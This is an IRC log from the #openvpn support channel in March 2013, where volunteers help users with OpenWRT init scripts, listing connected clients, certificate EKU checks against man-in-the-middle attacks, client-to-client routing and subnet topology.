15:47 < pekster> For openwrt? I need to get a cleaner copy as what I have now is really rough (a longer-term version is on my todo list, but first is getting hacked together what I want it to do before I worry about beautifying it and connecting it to UCI.) Hang on a minute and I'll see if what I have in source control is of any use
15:52 < pekster> jzaw: I'm not sure how useful it is, but here you go: http://pekster.sdf.org/code/files/openvpn.init.devel
15:53 < pekster> I haven't touched it in a while (been more interested in other projects recently) but IIRC it should work to start/stop. Obviously the status doesn't do much. To use it, drop it in /etc/init.d/whatever (openvpn, or openvpn-perinstance or something) and symlink openvpn.configname to it. It'll then start /etc/openvpn/configname.conf
15:55 -!- xbanux [~xbanux@triband-mum-59.182.131.184.mtnl.net.in] has quit [Ping timeout: 264 seconds]
15:57 < jzaw> thank pekster
15:58 -!- Orbi [~opera@anon-186-54.vpn.ipredator.se] has joined #openvpn
16:08 < jzaw> pekster,  where in your init script you have EXTRA_COMMANDS="status"
16:08 < jzaw> the openwrt init script has
16:08 < jzaw> EXTRA_COMMANDS="up down"
16:09 < jzaw> is this what is getting in the way ?
16:09 < pekster> The stock No clue. My custom firmware rips out the stock initscript, so I don't really care to troubleshoot upstream's stupid design choices
16:09 < pekster> If it adds the --up option to some script, probably
16:10 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
16:10 < pekster> It should be somewhat trivial to add an echo line in the initscript above the line that launches openvpn (usually with $SSD that is defined to start-stop-daemon, but again, without a copy in front of me I'm just guessing
16:11 < pekster> They source all the configuration from UCI, so it's almost as bad as NetworkManager in terms of transparancy. That's one of the many reasons I replaced it with a no-frills initscript that I could manage myself
16:11 < pekster> The only reason to run upstream's init is if you want it to integrate nicely into LuCI or WebIF
16:12 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Ping timeout: 252 seconds]
16:14 < jzaw> http://sprunge.us/PjaL
16:16 -!- rocco1 [~rocco@2001:4dd0:fd53:101:213:77ff:fef1:af0e] has joined #openvpn
16:16 -!- rocco1 [~rocco@2001:4dd0:fd53:101:213:77ff:fef1:af0e] has left #openvpn []
16:16 < jzaw> pekster,  i pretty much hate uci
16:16 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
16:17 < pekster> UCI has its purpose. Check out my iptables init project on my openwrt page for a sample of how to "properly," IMO, use it
16:17 < pekster> I make no attempt to integrate my code into the web frontends since I don't even have such a frontend in my firmware. I use it strictly as a console interface and tune it to suit me
16:18 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
16:19 < pekster> At quick glance (all I'm willing to look at their config) 'start' starts the 'openvpn' labeled instance, while 'up' starts all instances of type 'openvpn'. Doesn't look like anything mucks with --up unless present in the UCI config
16:20 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
16:20 < pekster> Everything else is merely pulled from the UCI config with underscores converted to dashes, followed by any optional parameters
16:21  * jzaw nods
16:21 < jzaw> thanks for looking
16:28 -!- kls [~kls@198.211.125.123] has joined #openvpn
16:28 -!- kls [~kls@198.211.125.123] has left #openvpn []
16:30 -!- JSharpe_ [~JSharpe@ip5-63-150-164.lon.ukinetcom.net] has joined #openvpn
16:31 -!- JSharpe [~JSharpe@web.sinexdigitalrecovery.com] has quit [Ping timeout: 264 seconds]
16:52 < jzaw> pekster, just for clarity ... i ln -s openvpn openvpn.client .... it finds and runs /etc/openvpn/client.conf
16:53 < pekster> Assuming you issued that command in /etc/init.d/, yes
16:53 < jzaw> but for it to run at boot time ill have to symlink openvpn.client to something like rc.d/S20openvpn.client
16:53 < pekster> Right
16:54 < jzaw> cool cool ... just making sure
16:54 < jzaw> :)
16:54 < pekster> S95 is more appropriate
16:54 < jzaw> ah so to make sure all interfaces are up and stable etc
16:55 < jzaw> youre right ... its S95 curently now
16:55 < jzaw> currently
16:55 < pekster> Hence why I listed it in my config
16:56 < pekster> A clean way to add/remove configs was on a back-burner item in that project log. The plan was to migrate to UCI to define the configs (but not the actual config itself) so the start/stop/instance stuff was just a filler until then
16:56 < pekster> (hence why it's not exactly polished.) If you use early development code, you keep all the bits when it doesn't do what you want ;)
16:57 < jzaw> :)
16:58 < jzaw> say you mention not having a gui on your openwrt
16:58 < pekster> Better question for #openwrt
16:58 < jzaw> i used it years ago originially on the wrt54gl ...
16:58 < jzaw> ah sure ... was just going to ask ... is it poss to have it like a bare linux box none of this uci stuff?
16:58 < jzaw> ie more trad
16:59 < pekster> UCI is a core part of how they do things. It replaces the "nvram" setup by allowing you to use traditional Unix config files backed by jffs2 storage. This is a vast improvement from the 8.x days
17:00 < jzaw> one last one ... is there any convention prohibiting a dot in the S95openvpn.conf    symlink?
17:00 < pekster> UCI isn't even bad; in fact, it's great. It's only a poor tool when f.eg your entire openvpn config ends up in UCI instead of in a config file where it belongs. That's when the abstraction has gone too far
17:01 < jzaw> funnily enough i just wrote a normal conf ... didnt use their option blah nomenclature
17:01 < pekster> Have as many dots as you want, but the instance name used to form the config strips everything up to and including the final dot
17:01 < pekster> So /etc/rc.d/S95.open.v.p.n.thing1 would still launch thing1.conf
17:01 < jzaw> cool
17:02 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has joined #openvpn
17:02 < jzaw> i presume one would have to have an init script for each vpn ?
17:02 < jzaw> theirs seems to find any file with .conf on it
17:02 < jzaw> i think
17:03 < pekster> Right. That was a temporary design intended to go away that has been left with the stagnation on that project
17:03  * jzaw nods i understand
17:03 < jzaw> well thats using my up.sh nicely now
17:03 < jzaw> thanks
17:05 < jzaw> has to be said for a £10, 5Watt device a tp-link wr740n does rather bloody well
17:05 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
17:06 -!- Orbi [~opera@anon-186-54.vpn.ipredator.se] has left #openvpn []
17:24 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
17:24 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
17:26 -!- defsdoor [~andy@cpc30-sutt4-2-0-cust155.19-1.cable.virginmedia.com] has quit [Quit: Ex-Chat]
17:38 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
17:43 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:55 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Read error: Connection reset by peer]
18:02 -!- master_o1_master [~master_of@p4FF24CB8.dip.t-dialin.net] has joined #openvpn
18:06 -!- master_of_master [~master_of@p4FF24360.dip.t-dialin.net] has quit [Ping timeout: 252 seconds]
18:11 -!- novaflash is now known as novaflash_away
18:14 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:28 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
18:29 -!- M1L0 [~M1L0@200.106.37.56] has joined #openvpn
18:29 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
18:34 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
18:34 < M1L0> buenas, alguien que hable español?
18:35 < rob0> Se habla openvpn. Google Translate helps with the rest.
18:36 < M1L0> XD
18:36 < M1L0> Gracias, es que tengo un probelma, no puedo ver mis clientes Openvpn desde el servidor..
18:47 < M1L0> I have a problem, I can not see my remote clients from the server Openvpn
18:53 -!- CygniX [~CygniX@unaffiliated/twois10] has joined #openvpn
18:53 < rob0> Often that's because of client firewalls. "See" means what? ping?
18:54 < M1L0> no ping
18:54 < rob0> check firewalls
18:55 < M1L0> from server to client, or from client to client
18:55 < rob0> possible either or both, yes
18:57 < M1L0> you know any manual?
19:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:03 -!- JSharpe__ [~JSharpe@ip5-63-150-164.lon.ukinetcom.net] has joined #openvpn
19:04 -!- robert___ [~hellspawn@objectx/robert] has joined #openvpn
19:05 -!- robert_ [~hellspawn@objectx/robert] has quit [Read error: Connection reset by peer]
19:05 -!- matsh [divine@nanogene.org] has quit [Read error: Connection reset by peer]
19:05 -!- matsh [divine@nanogene.org] has joined #openvpn
19:05 -!- JSharpe_ [~JSharpe@ip5-63-150-164.lon.ukinetcom.net] has quit [Read error: Connection reset by peer]
19:17 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
19:26 -!- brute11k [~brute@89.249.235.131] has quit [Quit: Leaving.]
19:27 < pekster> M1L0: The official "howto" guide is at the following URL:
19:27 < pekster> !howto
19:27 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
19:28 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
19:28 < rob0> um, if you mean a manual for your OS's firewall, that varies by OS.
19:29 < pekster> M1L0: First you want to get OpenVPN connected without errors. Check the client and server logs for any listed errors. Then you want to try a ping in in both directions to check connections between the client and server. With no OpenVPN errors and good logs, firewalls are usually the reason for pings to get lost
19:32 -!- raidz is now known as raidz_away
19:46 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
19:57 -!- CygniX [~CygniX@unaffiliated/twois10] has quit [Quit: Konversation terminated!]
19:59 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
20:09 < M1L0> <pekster> thx... i go see that now..
20:24 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 245 seconds]
20:29 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has joined #openvpn
20:29 -!- defswork [~andy@141.0.50.105] has joined #openvpn
20:30 < hrenovo> hmm, on windows 7 just installed openvpn gui, and when I right click on the icon in the task bar, the only two options I see there is 1. Settings  2. Exit
20:30 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:30 < hrenovo> No Connection option )
20:31 < M1L0> first copi files  into config folder
20:32 < M1L0> cert, key, ovpn, etc
20:32 < hrenovo> ah! there is no .conf file
20:33 < M1L0> copy client conf files into c;/program files/openvpn/config
20:35 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 260 seconds]
20:36 < hrenovo> M1L0: copi-ing )
20:37 -!- defswork [~andy@141.0.50.105] has joined #openvpn
20:40 < M1L0> cool
20:50 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Ping timeout: 245 seconds]
20:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
20:51 -!- mode/#openvpn [+o krzee] by ChanServ
21:01 < pekster> hrenovo: You too should read and follow the howto guide if you are new to openvpn. It guides you through the entire setup:
21:01 < pekster> !howto
21:01 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
21:01 < hrenovo> I think I got this figured all out
21:02 < hrenovo> its working perfectly now
21:02 < pekster> Great
21:02 < hrenovo> 4 clients connected
21:02 < hrenovo> my next thing is to figure out how to make clients pingable
21:02 < hrenovo> or even if I should make them pingable or not
21:02 <@krzee> hehe
21:02 < hrenovo> or how to see the list of connected clients
21:02 <@krzee> don't block ping in the firewall = pingable
21:03 < hrenovo> krzee: let me check
21:03 <@krzee> list of connected clients could be a status file (i think) or the management interface (my preferred way)
21:03 < pekster> On the OpenVPN server you can send it a USR2 signal and it will print a "status" output to your logfile (or stdout if you're not using a syslog or logfile)
21:03 < hrenovo> whats the management interface ?
21:03 < pekster> Yes, or the management interface or a status directive
21:03 < pekster> Lots of ways to get status :)
21:04 < pekster> !management
21:04 <@vpnHelper> "management" is (#1) see http://openvpn.net/management for doc on management interface or (#2) read http://svn.openvpn.net/projects/openvpn/obsolete/BETA21-preauto/openvpn/management/management-notes.txt if you are a programmer making a GUI that will interact with OpenVPN
21:04 < pekster> !status
21:04 < pekster> !factoids search status
21:04 <@vpnHelper> No keys matched that query.
21:04 < pekster> !factoids search --values status
21:04 <@vpnHelper> 'webgui' and 'logs'
21:05 < pekster> !learn status as You can use the --status directive to write to a status file to show the list of currently connected clients. This list can be sent to stdout (or your defined !log mechanism) with a USR2 signal as well.
21:05 <@vpnHelper> Joo got it.
21:06 < pekster> !learn status as See also !management
21:06 <@vpnHelper> Joo got it.
21:10 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep]
21:14 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Ping timeout: 256 seconds]
21:22 < RudyValencia> OK so we're generating OpenVPN certificates using OpenSSL according to http://www.macfreek.nl/memory/Create_a_OpenVPN_Certificate_Authority and we are getting the following error:
21:22 <@vpnHelper> Title: Create a OpenVPN Certificate Authority - Exterior Memory (at www.macfreek.nl)
21:22 < RudyValencia> 140282962425512:error:0E06D06C:configuration file routines:NCONF_get_string:no value:conf_lib.c:335:group=CA_default name=email_in_dn
21:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
21:23 < RudyValencia> The error occurs while making a client certificate.
21:37 < hrenovo> I am reading up on the management interface and I am confused )
21:38 < hrenovo> where do I set --management ?
21:38 < hrenovo> in server.conf ?
21:41 < hrenovo> also, which management GUI is recommended currently? I see a very big list in the wiki here https://community.openvpn.net/openvpn/wiki/RelatedProjects
21:41 <@vpnHelper> Title: RelatedProjects – OpenVPN Community (at community.openvpn.net)
21:43 < pppingme> gui?  its easy to setup and use if you understand the concepts involved..
21:43 < pekster> hrenovo: We don't really recommend any GUI. OpenVPN is at its core a command line tool, and thus the best way to interact with it is at the command line
21:47 < hrenovo> pekster: understood. Any way to see currently connected clients ?
21:48 < hrenovo> pekster: using command line
21:48 < hrenovo> pekster: you mentioned management interface, but I am not sure how to enable it. where do I set --management ? in server.conf ?
21:52 -!- Thermi_ [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 240 seconds]
21:53 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
21:55 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
21:56 < pekster> hrenovo: Yes, see the manpage and look for the --management option. Or, as stated earlier:
21:56 < pekster> !status
21:56 <@vpnHelper> "status" is (#1) You can use the --status directive to write to a status file to show the list of currently connected clients. This list can be sent to stdout (or your defined !log mechanism) with a USR2 signal as well. or (#2) See also !management
21:57 < pekster> You have 3 ways to show the connected clients. Pick one.
22:00 < robert___> is there a way to tell a "server" from a "client" via the ifconfig-up script or something?
22:00 -!- robert___ is now known as robert_
22:00 < robert_> (like, does it push certificate information into the environment when it runs the script)
22:02 < pekster> You configure a server vs client differently, thus asking to distinguish them at runtime seems a strange thing to do
22:02 < pekster> What's your usecase?
22:04 -!- hrenovo_ [~hrenovo@li469-37.members.linode.com] has joined #openvpn
22:04 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Read error: Connection reset by peer]
22:05 < hrenovo_> sorry just got disconnected for a sec
22:06 < hrenovo_> I have uncommented client-to-client but I cannot see any other nodes in network center
22:06 -!- hrenovo_ is now known as hrenovo
22:07 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
22:07 < robert_> we have two classes of endpoint that will be connecting (signed by the same CA) with separate different keyUsages; I want to tell one keyUsage from the other so I can enable client-to-client for one class, but not the other.
22:09 < robert_> "server" roles are supposed to be unrestricted, while "client" roles are supposed to only consume the services "server" roles provide.
22:09 < rob0> client-to-client is global, is it not?
22:13 < robert_> oh wait, I may be over-thinking here.
22:13 -!- ngharo_ [~ngharo@hacked.thegov.us] has joined #openvpn
22:13 -!- master_of_master [~master_of@p4FF24861.dip.t-dialin.net] has joined #openvpn
22:13 -!- matsh_ [divine@nanogene.org] has joined #openvpn
22:13 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 240 seconds]
22:13 -!- ngharo [~ngharo@hacked.thegov.us] has quit [Ping timeout: 240 seconds]
22:13 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 240 seconds]
22:13 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 240 seconds]
22:13 -!- matsh_ is now known as matsh
22:13 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
22:14 -!- defswork [~andy@141.0.50.105] has joined #openvpn
22:14 -!- master_o1_master [~master_of@p4FF24CB8.dip.t-dialin.net] has quit [Read error: Operation timed out]
22:14 -!- ngharo_ is now known as ngharo
22:18 -!- master_o1_master [~master_of@p4FF243C7.dip.t-dialin.net] has joined #openvpn
22:20 -!- master_of_master [~master_of@p4FF24861.dip.t-dialin.net] has quit [Ping timeout: 258 seconds]
22:22 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
22:24 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
22:29 < RudyValencia> OK so we are trying to set up a link between a remote OpenVPN server in Dallas and a local OpenVPN server here in Colorado. Is it possible to join two instances of OpenVPN like this to create a VPN-based intranet?
22:29 < RudyValencia> basically, can the two servers communicate with each other, and can the local server provide remote services to clients through the link?
22:30 < pppingme> lots of variables, but what I would do is create a simple p2p link between the two sites and either static route or run a routing protocol to get routing correct between both sides
22:31 < pekster> robert_: What you really want is to firewall clients dynamically as they connect. Don't use client-to-client so that the traffic is pushed to your kernel and you can firewall the traffic in the standard way for your OS
22:31 < pekster> robert_: Use --client-connect for that, and then you can use the environmental variables to use whatever you'd like to apply firewall rules to that connection. You likely want to pair --client-disconnect with that to remove the dynamic rules when a client disconnects
22:34 < RudyValencia> The Colorado OpenVPN service is running on a TP-Link router with OpenWRT, if that introduces a bit of clarity.
22:35 < robert_> I was asking if 'nsCertType server' clients certificates could be accessed (by default) by type 'nsCertType Client' client certificates.
22:35 < robert_> client certificates*
22:36 < pekster> could be accessed by?
22:36 < robert_> once they're on the vpn I mean
22:37 < pekster> Sure
22:38 < pekster> Certificates have nothing to do with the data flow; they're used purely as an authentication mechanism, and you can hook into it on either end to preform additional connection checks or dynamic rules based on any of the X509 fields
22:38 -!- matsh_ [divine@nanogene.org] has joined #openvpn
22:38 < pekster> Generally, you want clients to verify that they're reaching a server cert to prevent MITM attacks from other valid client certs:
22:38 < pekster> !mitm
22:38 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
22:39 < pekster> --remote-cert-tls is the new version of --ns-cert-type and should be used instead of the deprecated "Netscape" extensions. As cool as Netscape Navigator is...
22:39 -!- matsh [divine@nanogene.org] has quit [Ping timeout: 240 seconds]
22:39 -!- matsh_ is now known as matsh
22:39 < pekster> They both functionally do the same thing
22:42 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
22:42 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
22:54 < RudyValencia> We setup extended key usage attributes
22:55 < RudyValencia> the server certs only have serverAuth and the client certs only have clientAuth
23:02 -!- JStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 252 seconds]
23:03 < pekster> RudyValencia: Great, then you might want to use the --remote-cert-eku option. Be aware that --remote-cert-tls requires an *exact* match on the ku+eku fields, so that may not be suitable
23:04 < pekster> I too prefer eku as my keying feature for server/client, and generally like to do: --remote-cert-eku "TLS Web Server Authentication" in my client config files. This prevents MITM attacks by naughty clients, and lets me use just the eku if I choose
23:04 < pekster> You may use the display name or the OID to match on ku/eku values
23:09 -!- JStoker [jstoker@claire.jcs.me.uk] has joined #openvpn
23:09 -!- JStoker [jstoker@claire.jcs.me.uk] has quit [Changing host]
23:09 -!- JStoker [jstoker@unaffiliated/jstoker] has joined #openvpn
23:09 -!- Poster [~poster@cpe-184-57-119-105.columbus.res.rr.com] has quit [Remote host closed the connection]
23:09 -!- Poster [~poster@cpe-184-57-119-105.columbus.res.rr.com] has joined #openvpn
23:14 -!- NChief [tomme@unaffiliated/nchief] has quit [Ping timeout: 240 seconds]
23:15 -!- NChief [tomme@unaffiliated/nchief] has joined #openvpn
23:16 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 258 seconds]
23:18 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:27 -!- hrenovo [~hrenovo@li469-37.members.linode.com] has quit [Quit: I quit]
23:37 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 264 seconds]
23:40 -!- xbanux [~xbanux@triband-mum-59.182.152.25.mtnl.net.in] has joined #openvpn
23:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.3.8]
23:53 -!- RudyValencia [~self@unaffiliated/rudyvalencia] has quit [Read error: Connection reset by peer]
23:54 -!- Matir_ [~matir@ubuntu/member/matir] has quit [Ping timeout: 260 seconds]
23:58 -!- RudyValencia [~self@unaffiliated/rudyvalencia] has joined #openvpn
--- Day changed Wed Mar 20 2013
00:07 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
00:08 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
00:14 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:41 -!- M1L0 [~M1L0@200.106.37.56] has quit [Quit: Saliendo]
00:43 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.3.8]
00:47 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
00:49 -!- RudyValencia [~self@unaffiliated/rudyvalencia] has quit [Read error: Connection reset by peer]
00:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.3.8]
00:55 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
01:09 -!- md_5 [md_5@mcdevs/trusted/md-5] has quit [Ping timeout: 258 seconds]
01:13 -!- md_5 [md_5@mcdevs/trusted/md-5] has joined #openvpn
01:16 -!- xbanux [~xbanux@triband-mum-59.182.152.25.mtnl.net.in] has quit [Ping timeout: 252 seconds]
01:22 -!- xbanux [~xbanux@triband-mum-59.182.152.25.mtnl.net.in] has joined #openvpn
01:33 -!- brute11k [~brute@89.249.231.107] has joined #openvpn
01:34 -!- master_of_master [~master_of@p4FF24B99.dip.t-dialin.net] has joined #openvpn
01:38 -!- master_o1_master [~master_of@p4FF243C7.dip.t-dialin.net] has quit [Ping timeout: 260 seconds]
01:42 -!- novaflash_away is now known as novaflash
01:50 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
01:56 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 260 seconds]
01:57 -!- dazol [~dazo@2001:470:de40:1021::14] has joined #openvpn
01:57 -!- dazol is now known as dazo
01:57 -!- dazo [~dazo@2001:470:de40:1021::14] has quit [Changing host]
01:57 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
01:57 -!- mode/#openvpn [+o dazo] by ChanServ
02:17 -!- brute11k [~brute@89.249.231.107] has quit [Quit: Leaving.]
02:22 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
03:28 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Remote host closed the connection]
03:33 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
03:36 -!- Diffen [~diffen@80.78.212.242] has joined #openvpn
03:42 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
04:11 -!- Diffen [~diffen@80.78.212.242] has quit [Quit: Leaving]
04:18  * EugeneKay gives pekster a cookie
04:22 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
04:25 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:32 -!- JacquesBH [~jacques@unaffiliated/jacquesbh] has quit [Remote host closed the connection]
04:55 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Ping timeout: 245 seconds]
04:57 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
04:57 -!- zeroXten [~zeroXten@0x10.co.uk] has quit [Client Quit]
04:58 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
05:01 -!- xbanux [~xbanux@triband-mum-59.182.152.25.mtnl.net.in] has quit [Remote host closed the connection]
05:02 -!- xbanux [~xbanux@triband-mum-59.182.147.208.mtnl.net.in] has joined #openvpn
05:30 -!- xbanux [~xbanux@triband-mum-59.182.147.208.mtnl.net.in] has quit [Ping timeout: 276 seconds]
05:39 -!- xbanux [~xbanux@triband-mum-59.182.147.208.mtnl.net.in] has joined #openvpn
05:45 -!- JSharpe__ is now known as JSharpe
05:59 -!- tekzilla [~jon@24.134.142.157] has joined #openvpn
06:00 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
06:01 < tekzilla> hey, i'm trying to use 'route-nopull' followed by some 'route' statements in client-config on the server (ccd)
06:01 < tekzilla> but the server logs says the "cannot be used in this context"
06:01 < tekzilla> *they
06:02 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
06:04 <@EugeneKay> That's because that's a --client option
06:05 <@EugeneKay> You're probably looking for --push-reset
06:07 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Remote host closed the connection]
06:08 < tekzilla> aah ok, thanks!
06:10 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
06:10 -!- kls [~kls@198.211.125.123] has joined #openvpn
06:10 < kls> hello!
06:12 < kls> General question — is it possible for clients to access each others' SMB shares over a routed connection?
06:12 < kls> Or is it only possible over bridged ones?
06:12 < MacGyver> Let me see.
06:12 < MacGyver> !smb
06:13 < MacGyver> No factoid for that?
06:13 < MacGyver> kls: The answer is in the howto.
06:13 < MacGyver> http://openvpn.net/index.php/open-source/documentation/howto.html#samba
06:13 <@vpnHelper> Title: HOWTO (at openvpn.net)
06:13 < MacGyver> Have fun.
06:14 < MacGyver> Oh, that's not even the right link.
06:14 < MacGyver> Sec.
06:16 < MacGyver> http://openvpn.net/index.php/open-source/documentation/howto.html#config
06:16 <@vpnHelper> Title: HOWTO (at openvpn.net)
06:16 < MacGyver> (It's still the howto)
06:16 < MacGyver> You'll need to check what you need to uncomment for client-to-client traffic.
06:17 < MacGyver> It's probably "client-to-client", since openvpn has the habit of using sensible names for config directives.
06:21 < tekzilla> look at OpenvVPN go! :)
06:22 <@EugeneKay> kls - yes, totally. Should work just fine over routed, with the appropriate firewall rules
06:22 <@EugeneKay> If you want name resolution you'll need DNS and/or WINS
06:22 <@EugeneKay> !wins
06:22 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
06:26 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
06:28 < kls> EugeneKay, MacGyver, thanks!
06:28 < kls> Hmm, let's try this
06:29 < kls> !iptables
06:29 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see http://openvpn.net/man#lbBD for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf or iptables or (#4) These is just the
06:29 <@vpnHelper> basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You can try #iptables
06:29 < kls> really cool. :)
06:30 < jzaw> EugeneKay, may i ask for a memory prompt re /30 and tun/tap endpoints
06:30 < kls> thanks guys
06:30 <@EugeneKay> !/30
06:30 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
06:30 <@EugeneKay> See #5 ^
06:30 < jzaw> im aabout to ask my isp for either /30 if itll do or a /29 if necessary
06:31 <@EugeneKay> For what?
06:31 <@EugeneKay> Giving vpn clients publically-routable VPN IPs?
06:31 < jzaw> all ready have that working
06:31 < jzaw> but my tap0 's are 10.0.0.x
06:31 < jzaw> and when i trace from the router itself ... it doesnt
06:32 < jzaw> as my server end is no nat
06:32 <@EugeneKay> !goal ?
06:32 <@EugeneKay> !goal
06:32 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
06:32 < jzaw> proper tracing and debuging ... if i give them proper ips i can both trace from the router and too its vpn tap
06:33 <@EugeneKay> There's nothing improper about RFC1918 space
06:33 <@EugeneKay> You just need to tell your router how to reach VPN clients..... via a route
06:34 < jzaw> thats done afaik
06:34 < jzaw> i can reach hosts behind the vpn
06:34 < jzaw> client hosts behind the vpn
06:34 < jzaw> from without
06:34 < jzaw> ie YOU can reach them
06:35 < jzaw> but theres no way for you to ping the tap0
06:35 -!- pyrobisqit [~yaaic@87.Red-88-5-221.dynamicIP.rima-tde.net] has joined #openvpn
